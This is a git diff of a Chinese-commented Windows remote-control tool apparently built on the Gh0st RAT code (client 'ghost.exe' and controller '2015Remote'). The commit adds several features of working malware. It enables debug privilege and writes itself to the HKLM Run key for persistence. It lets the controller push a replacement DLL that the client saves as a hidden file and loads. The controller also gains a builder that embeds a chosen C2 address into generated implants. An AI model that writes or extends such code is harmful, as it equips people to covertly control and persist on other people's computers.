diff --git a/ReadMe.txt b/ReadMe.txt
index d2e5ea3..6ed1e03 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -238,6 +238,7 @@ reorg: Move commands to common/commands.h
 此次提交的重点是将重复代码移动到公共目录，减少代码的冗余。
 
 2024.12.28
-修改了注册指令内容，新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段，以便未来之需。
-主控程序增加显示被控端版本信息，以便未来针对老版本实现在线更新的能力。
+1.修改了注册指令内容，新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段，以便未来之需。
+2.解决客户端接收大数据包的问题! 主控程序增加显示被控端版本信息，以便实现针对老版本在线更新(仅限基于TestRun的服务)的能力。
 在主控程序上面增加了显示被控端启动时间的功能，以便掌握被控端程序的稳定性。
+3.完善生成服务程序的功能。
diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index 1707c98..861c856 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -9,11 +9,13 @@
 #include "KernelManager.h"
 using namespace std;
 
-// Զ�̵�ַ
-char  g_szServerIP[MAX_PATH] = {0};  
-unsigned short g_uPort = 0; 
+// �Զ�����ע����е�ֵ
+#define REG_NAME "a_ghost"
 
-// Ӧ�ó���״̬��1-���ض��˳� 2-���ض��˳���
+// Զ�̵�ַ
+CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0};
+
+// Ӧ�ó���״̬��1-���ض��˳� 2-���ض��˳� 3-����������
 BOOL g_bExit = 0;
 // �����߳�״̬
 BOOL g_bThreadExit = 0;
@@ -25,6 +27,60 @@ DWORD WINAPI StartClient(LPVOID lParam);
 
 enum { E_RUN, E_STOP } status;
 
+//����Ȩ��
+void DebugPrivilege()
+{
+	HANDLE hToken = NULL;
+	//�򿪵�ǰ���̵ķ�������
+	int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
+
+	if (hRet)
+	{
+		TOKEN_PRIVILEGES tp;
+		tp.PrivilegeCount = 1;
+		//ȡ������Ȩ�޵�LUID
+		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
+		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+		//�����������Ƶ�Ȩ��
+		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
+
+		CloseHandle(hToken);
+	}
+}
+
+/**
+* @brief ��������������
+* @param[in] *sPath ע�����·��
+* @param[in] *sNmae ע���������
+* @return ����ע����
+* @details Win7 64λ�����ϲ��Խ��������ע�����ڣ�\n
+* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
+* @note �״�������Ҫ�Թ���ԱȨ�����У�������ע���д�뿪��������
+*/
+BOOL SetSelfStart(const char* sPath, const char* sNmae)
+{
+	DebugPrivilege();
+
+	// д���ע���·��
+#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
+
+	// ��ע�����д��������Ϣ
+	HKEY hKey = NULL;
+	LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
+
+	// �ж��Ƿ�ɹ�
+	if (lRet != ERROR_SUCCESS)
+		return FALSE;
+
+	lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
+
+	// �ر�ע���
+	RegCloseKey(hKey);
+
+	// �ж��Ƿ�ɹ�
+	return lRet == ERROR_SUCCESS;
+}
+
 // ���ؿ���̨
 // ���https://blog.csdn.net/lijia11080117/article/details/44916647
 // step1: ��������"�߼�"������ڵ�ΪmainCRTStartup
@@ -44,12 +100,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
 
 int main(int argc, const char *argv[])
 {
-	status = E_RUN;
-	if (argc < 3)
+	if (!SetSelfStart(argv[0], REG_NAME))
 	{
-		std::cout<<"��������.\n";
-		return -1;
+		std::cout << "���ÿ���������ʧ�ܣ����ù���ԱȨ������.\n";
 	}
+
+	status = E_RUN;
+
 	HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
 	if (ERROR_ALREADY_EXISTS == GetLastError())
 	{
@@ -58,12 +115,16 @@ int main(int argc, const char *argv[])
 	}
 	
 	SetConsoleCtrlHandler(&callback, TRUE);
-	const char *szServerIP = argv[1];
-	int uPort = atoi(argv[2]);
-	printf("[server] %s:%d\n", szServerIP, uPort);
-
-	memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
-	g_uPort = uPort;
+	if (argc>=3)
+	{
+		g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
+	}
+	if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0)	{
+		printf("��������: ���ṩԶ������IP�Ͷ˿�!\n");
+		Sleep(3000);
+		return -1;
+	}
+	printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
 
 	do{
 		g_bExit = 0;
@@ -103,9 +164,8 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
 // ��������һ��ghost
 extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
 {
-	g_bExit = false;
-	memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
-	g_uPort = uPort;
+	g_bExit = FALSE;
+	g_SETTINGS.SetServer(szServerIP, uPort);
 
 	HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
 	if (hThread == NULL) {
@@ -126,7 +186,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
 extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
 
 // �Ƿ��˳��ͻ���
-extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; }
+extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
 
 #endif
 
@@ -138,7 +198,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
 	while (!g_bExit)
 	{
 		DWORD dwTickCount = GetTickCount64();
-		if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
+		if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
 		{
 			for (int k = 500; !g_bExit && --k; Sleep(10));
 			continue;
diff --git a/client/Common.cpp b/client/Common.cpp
index 445869d..b13f237 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -10,10 +10,9 @@
 #include "RegisterManager.h"
 #include "ServicesManager.h"
 #include "VideoManager.h"
-#include "KernelManager.h"
+#include "KernelManager.h" 
 
-extern char  g_szServerIP[MAX_PATH];
-extern unsigned short g_uPort;  
+extern CONNECT_ADDRESS g_SETTINGS;
 
 HANDLE _CreateThread (LPSECURITY_ATTRIBUTES  SecurityAttributes,   
 					  SIZE_T dwStackSize,                                           
@@ -53,7 +52,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
 {
 	ThreadInfo *pInfo = (ThreadInfo *)lParam;
 	IOCPClient	*ClientObject = pInfo->p;
-	if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
+	if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
 	{
 		Manager	m(ClientObject, n);
 		ClientObject->RunEventLoop(pInfo->run);
diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp
index 30053bb..cfe54c5 100644
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -101,7 +101,7 @@ inline string GetIPAddress(const char *hostName)
 	return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
 }
 
-BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
+BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
 {
 	m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP);    //�����
 
diff --git a/client/IOCPClient.h b/client/IOCPClient.h
index 1c91ab1..ae55eb3 100644
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -34,7 +34,7 @@ public:
 	BOOL	 m_bWorkThread;
 	HANDLE   m_hWorkThread;
 	
-	BOOL ConnectServer(char* szServerIP, unsigned short uPort);
+	BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
 	static DWORD WINAPI WorkThreadProc(LPVOID lParam);
 
 	VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 6df4dd2..60af449 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -5,6 +5,10 @@
 #include "stdafx.h"
 #include "KernelManager.h"
 #include "Common.h"
+#include <iostream>
+#include <fstream>
+#include <corecrt_io.h>
+
 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////
@@ -48,6 +52,56 @@ UINT CKernelManager::GetAvailableIndex() {
 	return -1;
 }
 
+BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
+{
+	if (size > 32 * 1024 * 1024) {
+		std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl;
+		return FALSE;
+	}
+
+	char path[_MAX_PATH], * p = path;
+	GetModuleFileNameA(NULL, path, sizeof(path));
+	while (*p) ++p;
+	while ('\\' != *p) --p;
+	strcpy(p + 1, "ServerDll.new");
+	if (_access(path, 0)!=-1)
+	{
+		DeleteFileA(path);
+	}
+	// ���ļ����Զ�����ģʽд��
+	std::string filePath = path;
+	std::ofstream outFile(filePath, std::ios::binary);
+
+	if (!outFile)
+	{
+		std::cerr << "Failed to open or create the file: " << filePath << std::endl;
+		return FALSE;
+	}
+
+	// ����������
+	outFile.write(data, size);
+
+	if (outFile.good())
+	{
+		std::cout << "Binary data written successfully to " << filePath << std::endl;
+	}
+	else
+	{
+		std::cerr << "Failed to write data to file." << std::endl;
+		outFile.close();
+		return FALSE;
+	}
+
+	// �ر��ļ�
+	outFile.close();
+	// �����ļ�����Ϊ����
+	if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
+	{
+		std::cout << "File created and set to hidden: " << filePath << std::endl;
+	}
+	return TRUE;
+}
+
 VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 {
 	bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -161,6 +215,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 			break;
 		}
 
+	case COMMAND_UPDATE:
+		{
+			if (m_ulThreadCount != -1) {
+				delete m_hThread[m_ulThreadCount].p;
+				m_hThread[m_ulThreadCount].p = NULL;
+			}
+			ULONGLONG size=0;
+			memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
+			if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
+				extern BOOL g_bExit;
+				g_bExit = 3;
+			}
+			break;
+		}
+
 	default:
 		{
 			OutputDebugStringA("======> Error operator\n");
diff --git a/client/test.cpp b/client/test.cpp
index 08a0f05..86c9128 100644
--- a/client/test.cpp
+++ b/client/test.cpp
@@ -11,6 +11,8 @@ typedef void (*StopRun)();
 
 typedef bool (*IsStoped)();
 
+typedef BOOL (*IsExit)();
+
 // ֹͣ��������
 StopRun stop = NULL;
 
@@ -18,7 +20,7 @@ StopRun stop = NULL;
 IsStoped bStop = NULL;
 
 // �Ƿ��˳����ض�
-IsStoped bExit = NULL;
+IsExit bExit = NULL;
 
 BOOL status = 0;
 
@@ -90,6 +92,9 @@ BOOL CALLBACK callback(DWORD CtrlType)
 	return TRUE;
 }
 
+// �����.
+BOOL Run(const char* argv1, int argv2);
+
 // @brief ���ȶ�ȡsettings.ini�����ļ�����ȡIP�Ͷ˿�.
 // [settings] 
 // localIp=XXX
@@ -103,44 +108,100 @@ int main(int argc, const char *argv[])
 	}
 	status = 0;
 	SetConsoleCtrlHandler(&callback, TRUE);
-	char path[_MAX_PATH], *p = path;
+
+	do {
+		BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.szServerIP) == 0 ? "127.0.0.1" : g_ConnectAddress.szServerIP),
+			argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.iPort == 0 ? 6543 : g_ConnectAddress.iPort));
+		if (ret == 1) {
+			return -1;
+		}
+	} while (status == 0);
+
+	status = 0;
+	return -1;
+}
+
+// ���������в���: IP �� �˿�.
+BOOL Run(const char* argv1, int argv2) {
+	BOOL result = FALSE;
+	char path[_MAX_PATH], * p = path;
 	GetModuleFileNameA(NULL, path, sizeof(path));
 	while (*p) ++p;
 	while ('\\' != *p) --p;
-	strcpy(p+1, "ServerDll.dll");
+	*(p + 1) = 0;
+	std::string folder = path;
+	std::string oldFile = folder + "ServerDll.old";
+	std::string newFile = folder + "ServerDll.new";
+	strcpy(p + 1, "ServerDll.dll");
+	BOOL ok = TRUE;
+	if (_access(newFile.c_str(), 0) != -1) {
+		if (_access(oldFile.c_str(), 0) != -1)
+		{
+			if (!DeleteFileA(oldFile.c_str()))
+			{
+				std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
+				ok = FALSE;
+			}
+		}
+		if (ok && !MoveFileA(path, oldFile.c_str())) {
+			std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
+			ok = FALSE;
+		}else {
+			// �����ļ�����Ϊ����
+			if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
+			{
+				std::cout << "File created and set to hidden: " << oldFile << std::endl;
+			}
+		}
+		if (ok && !MoveFileA(newFile.c_str(), path)) {
+			std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
+			MoveFileA(oldFile.c_str(), path);// recover
+		}else if (ok){
+			std::cout << "Using new file: " << newFile << std::endl;
+		}
+	}
 	HMODULE hDll = LoadLibraryA(path);
-	typedef void (*TestRun)(char* strHost,int nPort);
+	typedef void (*TestRun)(char* strHost, int nPort);
 	TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
 	stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
 	bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
-	bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL;
+	bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
 	if (run)
 	{
-		char *ip = g_ConnectAddress.szServerIP;
-		int &port = g_ConnectAddress.iPort;
+		char* ip = g_ConnectAddress.szServerIP;
+		int& port = g_ConnectAddress.iPort;
 		strcpy(p + 1, "settings.ini");
 		if (_access(path, 0) == -1) { // �ļ�������: ���ȴӲ�����ȡֵ������Ǵ�g_ConnectAddressȡֵ.
-			ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip);
-			port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port);
-		} else {
+			strcpy(ip, argv1);
+			port = argv2;
+		}
+		else {
 			GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path);
 			port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path);
 		}
 		printf("[server] %s:%d\n", ip, port);
-		do 
+		do
 		{
 			run(ip, port);
-			while(bStop && !bStop() && 0 == status)
+			while (bStop && !bStop() && 0 == status)
 				Sleep(20);
 		} while (bExit && !bExit() && 0 == status);
 
-		while(bStop && !bStop() && 1 == status)
+		while (bStop && !bStop() && 1 == status)
 			Sleep(20);
+		if (bExit) {
+			result = bExit();
+		}
+		if (!FreeLibrary(hDll)) {
+			printf("�ͷŶ�̬���ӿ�\"ServerDll.dll\"ʧ��. �������: %d\n", GetLastError());
+		}
+		else {
+			printf("�ͷŶ�̬���ӿ�\"ServerDll.dll\"�ɹ�!\n");
+		}
 	}
 	else {
-		printf("���ض�̬���ӿ�\"ServerDll.dll\"ʧ��.\n");
+		printf("���ض�̬���ӿ�\"ServerDll.dll\"ʧ��. �������: %d\n", GetLastError());
 		Sleep(3000);
 	}
-	status = 0;
-	return -1;
-}
+	return result;
+}
\ No newline at end of file
diff --git a/common/commands.h b/common/commands.h
index 63f7780..c484db1 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -9,6 +9,8 @@
 
 #define FLAG_FINDEN 0x1234567
 
+#define FLAG_GHOST	0x7654321
+
 // �����������Է����仯ʱ��Ӧ�ø������ֵ���Ա�Ա��س����������
 #define DLL_VERSION "20241228"		// DLL�汾
 
@@ -84,6 +86,7 @@ enum
 	COMMAND_SERVICES,				// �������
 	COMMAND_REGEDIT,
 	COMMAND_TALK,					// ��ʱ��Ϣ��֤
+	COMMAND_UPDATE = 53,			// �ͻ�������
 
 	// ����˷����ı�ʶ
 	TOKEN_AUTH = 100,				// Ҫ����֤
@@ -139,6 +142,16 @@ typedef struct CONNECT_ADDRESS
 	unsigned long	dwFlag;
 	char			szServerIP[_MAX_PATH];
 	int				iPort;
+	const char* ServerIP()const {
+		return szServerIP;
+	}
+	int ServerPort()const {
+		return iPort;
+	}
+	void SetServer(const char* ip, int port) {
+		strcpy_s(szServerIP, ip);
+		iPort = port;
+	}
 } CONNECT_ADDRESS ;
 
 // �������ߺ��͵ļ������Ϣ
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 4bb5e3b..7669d6c 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 7953050..e194e9d 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -125,7 +125,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
 	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
 
 	m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
-	m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE);
+	m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
+	m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
 
 	InitializeCriticalSection(&m_cs);
 }
@@ -153,6 +154,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
 	ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
 	ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
 	ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
+	ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
 	ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
 
 	ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
@@ -631,7 +633,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
 	}
 
 	Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
-	Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
+	Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
+	Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
 	SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
 
 	*pResult = 0;
@@ -644,6 +647,56 @@ void CMy2015RemoteDlg::OnOnlineMessage()
 	SendSelectedCommand(&bToken, sizeof(BYTE));
 }
 
+char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
+	fileSize = 0;
+	try {
+		// ���ļ���ֻ��ģʽ��
+		CFile file(filePath, CFile::modeRead | CFile::typeBinary);
+
+		// ��ȡ�ļ���С
+		fileSize = file.GetLength();
+
+		// �����ڴ滺����: ͷ+�ļ���С+�ļ�����
+		char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast<size_t>(fileSize) + 1];
+		if (!buffer) {
+			return NULL;
+		}
+		memcpy(buffer+1, &fileSize, sizeof(ULONGLONG));
+		// ��ȡ�ļ����ݵ�������
+		file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast<UINT>(fileSize));
+		buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // �����ַ���������
+
+		// �ͷ��ڴ�
+		return buffer;
+	}
+	catch (CFileException* e) {
+		// �����ļ��쳣
+		TCHAR errorMessage[256];
+		e->GetErrorMessage(errorMessage, 256);
+		e->Delete();
+		return NULL;
+	}
+
+}
+
+void CMy2015RemoteDlg::OnOnlineUpdate()
+{
+	char path[_MAX_PATH], * p = path;
+	GetModuleFileNameA(NULL, path, sizeof(path));
+	while (*p) ++p;
+	while ('\\' != *p) --p;
+	strcpy(p + 1, "ServerDll.dll");
+	ULONGLONG fileSize = 0;
+	char *buffer = ReadFileToMemory(path, fileSize);
+	if (buffer) {
+		buffer[0] = COMMAND_UPDATE;
+		SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1);
+		delete[] buffer;
+	}
+	else {
+		AfxMessageBox("��ȡ�ļ�ʧ��: "+ CString(path));
+	}
+}
 
 void CMy2015RemoteDlg::OnOnlineDelete()
 {
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 08d75db..d013a9e 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -72,13 +72,14 @@ public:
 	CRITICAL_SECTION m_cs;
 	BOOL       isClosed;
 
-	CBitmap m_bmOnline[2];
+	CBitmap m_bmOnline[3];
 	afx_msg void OnTimer(UINT_PTR nIDEvent);
 	afx_msg void OnClose();
 	afx_msg void OnSize(UINT nType, int cx, int cy);
 	afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
 	afx_msg void OnOnlineMessage();
 	afx_msg void OnOnlineDelete();
+	afx_msg void OnOnlineUpdate();
 	afx_msg void OnAbout();
 	afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
 	afx_msg void OnNotifyShow();
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index a6ade11..cc7c977 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -202,8 +202,10 @@
   <ItemGroup>
     <Image Include="res\Bitmap_4.bmp" />
     <Image Include="res\Bitmap_5.bmp" />
+    <Image Include="res\delete.bmp" />
     <Image Include="res\toolbar1.bmp" />
     <Image Include="res\toolbar2.bmp" />
+    <Image Include="res\update.bmp" />
     <Image Include="res\webcam.ico" />
   </ItemGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index cf142e3..b6f5e82 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -13,8 +13,6 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
 
 int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
 
-CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0};
-
 CBuildDlg::CBuildDlg(CWnd* pParent)
 	: CDialog(CBuildDlg::IDD, pParent)
 	, m_strIP(_T(""))
@@ -32,6 +30,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
 	CDialog::DoDataExchange(pDX);
 	DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
 	DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
+	DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
 }
 
 
@@ -54,7 +53,16 @@ void CBuildDlg::OnBnClickedOk()
 	BYTE *  szBuffer=NULL;
 	DWORD dwFileSize;
 	UpdateData(TRUE);
+	int index = m_ComboExe.GetCurSel();
+	CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : "");
+	if (file.IsEmpty())
+	{
+		MessageBox("��Ч�������, ���������ɷ���!");
+		return CDialog::OnOK();
+	}
+	unsigned long flag = index == 0 ? FLAG_FINDEN : (index == 1 ? FLAG_GHOST : FLAG_FINDEN);
 	//////////������Ϣ//////////////////////
+	CONNECT_ADDRESS g_ConnectAddress = { flag,"",0 };
 	strcpy(g_ConnectAddress.szServerIP,m_strIP);  //������IP
 
 	g_ConnectAddress.iPort=atoi(m_strPort);   //�˿�
@@ -67,12 +75,12 @@ void CBuildDlg::OnBnClickedOk()
 		GetModuleFileNameA(NULL, path, sizeof(path));
 		while (*p) ++p;
 		while ('\\' != *p) --p;
-		strcpy(p+1, "TestRun.exe");
+		strcpy(p+1, file.GetString());
 
 		strFile = path; //�õ���ǰδ�����ļ���
 		if (_access(path, 0) == -1)
 		{
-			MessageBox(CString(path)+"\r\n����ģ��\"TestRun.exe\"������!");
+			MessageBox(CString(path) + "\r\n����ģ��\"" + file + "\"������!");
 			return CDialog::OnOK();
 		}
 		
@@ -88,11 +96,21 @@ void CBuildDlg::OnBnClickedOk()
 		File.Close();
 		//д������IP�Ͷ˿� ��Ҫ��Ѱ��0x1234567�����ʶȻ��д�����λ��
 		int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
+		if (iOffset==-1)
+		{
+			MessageBox(CString(path) + "\r\n����ģ��\"" + file + "\"��֧��!");
+			return;
+		}
 		memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
 		//���浽�ļ�
 		strcpy(p+1, "ClientDemo.exe");
 		strSeverFile = path;
-		File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
+		DeleteFileA(path);
+		BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
+		if (!r) {
+			MessageBox(strSeverFile + "\r\n�������\"" + strSeverFile + "\"����ʧ��!");
+			return CDialog::OnOK();
+		}
 		File.Write(szBuffer,dwFileSize);
 		File.Close();
 		delete[] szBuffer;
@@ -123,8 +141,22 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS
 	for (i = 0; i < iBufferSize; ++i)   
 	{   
 		for (j = 0; j < iKeySize; j ++)   
-			if (szBuffer[i+j] != Key[j])	break;     //0x12345678   78   56  34  12
+			if (szBuffer[i+j] != Key[j])	break;
 		if (j == iKeySize) return i;   
 	}   
 	return -1;   
 }
+
+
+BOOL CBuildDlg::OnInitDialog()
+{
+	CDialog::OnInitDialog();
+
+	// TODO:  �ڴ����Ӷ���ij�ʼ��
+	m_ComboExe.InsertString(0, "TestRun.exe");
+	m_ComboExe.InsertString(1, "ghost.exe");
+	m_ComboExe.SetCurSel(0);
+
+	return TRUE;  // return TRUE unless you set the focus to a control
+				  // �쳣: OCX ����ҳӦ���� FALSE
+}
diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h
index 6c54dd2..6b3d241 100644
--- a/server/2015Remote/BuildDlg.h
+++ b/server/2015Remote/BuildDlg.h
@@ -22,4 +22,6 @@ public:
 	CString m_strIP;
 	CString m_strPort;
 	afx_msg void OnBnClickedOk();
+	virtual BOOL OnInitDialog();
+	CComboBox m_ComboExe;
 };
diff --git a/server/2015Remote/res/delete.bmp b/server/2015Remote/res/delete.bmp
new file mode 100644
index 0000000..635f56b
Binary files /dev/null and b/server/2015Remote/res/delete.bmp differ
diff --git a/server/2015Remote/res/update.bmp b/server/2015Remote/res/update.bmp
new file mode 100644
index 0000000..1d3e86f
Binary files /dev/null and b/server/2015Remote/res/update.bmp differ
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 89cd1c6..429bc81 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ